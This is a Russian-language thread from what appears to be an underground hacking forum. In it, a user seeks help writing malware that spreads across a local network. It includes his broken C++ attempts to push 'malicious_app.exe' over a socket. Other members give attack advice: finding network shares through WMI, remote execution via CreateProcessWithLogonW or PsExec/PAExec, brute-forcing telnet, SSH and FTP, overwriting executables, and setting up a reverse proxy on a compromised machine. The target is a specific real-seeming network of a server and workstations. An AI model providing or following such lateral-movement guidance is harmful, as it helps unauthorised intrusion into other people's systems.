What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Чуток непоняток про распространение

kotoharu

Midle Weight
Депозит
$0
Не понимаю как в коде прописать распространение по локальной сети, додумался только до такой шняги
C++:
Скопировать в буфер обмена
void spreadInLocalNetwork() {
// Создание сокета
WSADATA wsaData;
SOCKET sock;
SOCKADDR_IN serverAddr;
WSAStartup(MAKEWORD(2, 0), &wsaData);
sock = socket(AF_INET, SOCK_DGRAM, 0);

serverAddr.sin_family = AF_INET;
serverAddr.sin_addr.s_addr = INADDR_ANY;
serverAddr.sin_port = htons(PORT);

// Посылка данных по локальной сети
sendto(sock, "Spread virus", sizeof("Spread virus"), 0, (SOCKADDR*)&serverAddr, sizeof(serverAddr));
}
Есть какие нибудь идеи? А то тут какая-то котовасия выходит мне чета не очень нравиться
 
CheckerChin сказал(а):
плохо думал. Ты отправляешь udp пакет себе же. Зачем?
смотри в сторону перечисления сетевых шар.
как запустить своё чудо не скажу. Скорее всего надо смотреть в сторону WMI или CreateProcessWithLogonW

C++:
Скопировать в буфер обмена
void spreadInLocalNetwork() {
WSADATA wsaData;
SOCKET s;
struct sockaddr_in sin;

WSAStartup(MAKEWORD(2, 2), &wsaData);

s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s == INVALID_SOCKET) {
return;
}

sin.sin_family = AF_INET;
sin.sin_port = htons(21); // Порт FTP
sin.sin_addr.s_addr = inet_addr("192.168.1.255"); // Широковещательный адрес в локальной сети

connect(s, (struct sockaddr*)&sin, sizeof(sin));

std::ifstream file("malicious_app.exe", std::ios::binary);
if (!file.is_open()) {
closesocket(s);
return;
}

// Отправляем файл по FTP
char buffer[1024];
while (!file.eof()) {
file.read(buffer, sizeof(buffer));
send(s, buffer, file.gcount(), 0);
}

file.close();
closesocket(s);
WSACleanup();
}
А вот так нормас? Это под фтп
 
kotoharu сказал(а):
А вот так нормас? Это под фтп

само собой не нормас.
Во-первых, ты уверен, что в той локальной сети будут фтп подняты? Я вот лично не знаю ни одного человека (не айтишника), у которого дома на компе поднят фтп...
Во-вторых, даже если ты попал на хост, где поднят этот фтп, то ты установил коннект и на фтпшный порт залил говна)) FTP это четко определённый в RFC959 протокол. На него нельзя просто взять и скинуть говна и типа всё должно работать.
В-третих, с чего ты взял, что в локальной сети будут подняты какие-то сервисы?
В-четвёртых, хотя бы результат коннекта проверяй))))
 
kotoharu сказал(а):
C++:
Скопировать в буфер обмена
void spreadInLocalNetwork() {
WSADATA wsaData;
SOCKET s;
struct sockaddr_in sin;

WSAStartup(MAKEWORD(2, 2), &wsaData);

s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
s INVALID_SOCKET



sinsin_family AF_INET
sinsin_port
sinsin_addrs_addr

s sin sin

stdifstream stdiosbinary
file
s



// Отправляем файл по FTP
char buffer[1024];
while (!file.eof()) {
file.read(buffer, sizeof(buffer));
send(s, buffer, file.gcount(), 0);
}

file.close();
closesocket(s);
WSACleanup();
}
А вот так нормас? Это под фтп
Нажмите, чтобы раскрыть...

Так если у чела нету фтп сервера или там пароль то как отправишь файл? Можешь в принципе сканить порты и пытаться брутить телнет, ссш, фтп и там уже что-то делать.


Ну и через wmi шары искать и туда заливать или заменять ехе если есть доступ на запись
 
CheckerChin сказал(а):
само собой не нормас.
Во-первых, ты уверен, что в той локальной сети будут фтп подняты? Я вот лично не знаю ни одного человека (не айтишника), у которого дома на компе поднят фтп...
Во-вторых, даже если ты попал на хост, где поднят этот фтп, то ты установил коннект и на фтпшный порт залил говна)) FTP это четко определённый в RFC959 протокол. На него нельзя просто взять и скинуть говна и типа всё должно работать.
В-третих, с чего ты взял, что в локальной сети будут подняты какие-то сервисы?
В-четвёртых, хотя бы результат коннекта проверяй))))

Фтп был просто в пример, а так эта локальная сеть состоит из сервера и компов на которые транслируется виртуальная машина, думаешь они везде закрывают порты?
 
kotoharu сказал(а):
Фтп был просто в пример, а так эта локальная сеть состоит из сервера и компов на которые транслируется виртуальная машина, думаешь они везде закрывают порты?

В локалке нет кнш, если есть открытый порт то можно брутить.
 
EternityTeam сказал(а):
В локалке нет кнш, если есть открытый порт то можно брутить.

Ну вот, осталось допереть до этого
 
kotoharu сказал(а):
Фтп был просто в пример, а так эта локальная сеть состоит из сервера и компов на которые транслируется виртуальная машина, думаешь они везде закрывают порты?

ну так а чего ты раньше не сказал, что в сети должны быть сервисы)))

Вообще в твоём случае игра скорее всего не стоит свеч.
Может есть смысл просто закрепиться на одном пк, поднять на нем реверс прокси и со своими тулзами в сеть лезть уже? Это куда удобнее будет и софт не так сложно написать.
Да и размахнуться можно будет поболее. Но это само собой не прокатит, если на компе нет инета)
 
Ты всерьёз считаешь, что достаточно в сокет кинуть какой-то текст или файл и тут же на удалённой тачке запустится нужный код? Это не так работает. Всё "немного" сложнее.
 
CheckerChin сказал(а):
ну так а чего ты раньше не сказал, что в сети должны быть сервисы)))

Вообще в твоём случае игра скорее всего не стоит свеч.
Может есть смысл просто закрепиться на одном пк, поднять на нем реверс прокси и со своими тулзами в сеть лезть уже? Это куда удобнее будет и софт не так сложно написать.
Да и размахнуться можно будет поболее. Но это само собой не прокатит, если на компе нет инета)

Понял, спасибо
 
Quake3 сказал(а):
Посмотри, как работает psexec

GitHub - poweradminllc/PAExec: Remote execution, like PsExec
Remote execution, like PsExec. Contribute to poweradminllc/PAExec development by creating an account on GitHub.
github.com
 
Top